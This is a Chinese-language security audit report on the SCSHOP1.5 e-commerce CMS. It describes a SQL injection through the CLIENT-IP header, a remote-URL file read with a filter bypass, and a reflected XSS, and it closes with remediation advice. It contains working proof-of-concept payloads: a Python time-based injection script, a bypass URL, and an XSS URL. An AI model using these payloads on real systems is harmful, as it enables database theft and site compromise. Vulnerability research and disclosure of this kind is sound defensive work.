某cms代码审计
字数 996 2025-08-25 22:59:10
SCSHOP1.5 CMS代码审计与漏洞分析报告
1. 系统概述
SCSHOP1.5是一个电子商务CMS系统,本次审计发现多个安全漏洞,包括SQL注入、任意文件读取和XSS漏洞。
2. 代码结构分析
系统主要包含以下核心文件:
db_con.php- 数据库配置Ant_Check.php- SQL注入检测Ant_Class.php- 数据操作Ant_Contrl.php- 函数封装class.phpmailer.php- 邮件操作Ant_Config.php- 全局设置Ant_Shop.php- 商品属性设置函数
3. 关键漏洞分析
3.1 SQL注入漏洞
漏洞位置
Core/Program/Ant_Contrl.php中的GetIp函数
漏洞原因
系统仅对GET参数进行了过滤,但未对HTTP头中的CLIENT-IP进行过滤,导致攻击者可控制IP地址参数。
利用点
Search_Data函数使用了GetIp函数返回的IP地址,且未进行过滤。
PoC代码
import requests
url = "http://target.com/Template/Default/File/search.php"
headers = {
"CLIENT-IP": "'or sleep(3) or'"
}
data = {"search": "1"}
requests.post(url, data=data, headers=headers)
盲注利用脚本
完整的时间盲注脚本已在原文中提供,可逐字符提取数据库信息。
3.2 任意文件读取漏洞
漏洞位置
后台文件操作功能
漏洞原因
系统允许从远程URL读取文件,但未对输入进行充分验证。
绕过限制
使用特殊格式的URL绕过过滤:
url=http://sem-cms.cn@0.0.0.0/index.php
利用效果
可将远程文件内容写入服务器,最终可能导致getshell。
3.3 XSS漏洞
漏洞位置
Ant_M_Delivery.php页面
漏洞类型
反射型XSS
PoC
http://target.com/r20A88_A2M/Ant_M_Delivery.php?page=adadad&aed=a&sortID="<script>alert('XSS')</script>
4. 漏洞修复建议
-
SQL注入修复:
- 对所有用户输入进行严格过滤,包括HTTP头
- 使用参数化查询或预处理语句
- 统一使用框架提供的安全函数获取用户输入
-
任意文件读取修复:
- 禁用从远程URL读取文件功能
- 如需保留该功能,应严格验证URL格式和内容
- 限制可读取的文件类型和路径
-
XSS漏洞修复:
- 对所有输出进行HTML实体编码
- 实施严格的Content Security Policy
- 使用现代框架的自动转义功能
5. 审计总结
本次审计揭示了SCSHOP1.5 CMS在输入验证和输出处理方面的多个安全问题。最严重的是通过HTTP头注入的SQL注入漏洞,可导致数据库信息泄露。建议开发者全面审查所有用户输入点,实施统一的安全过滤机制,并定期进行安全审计。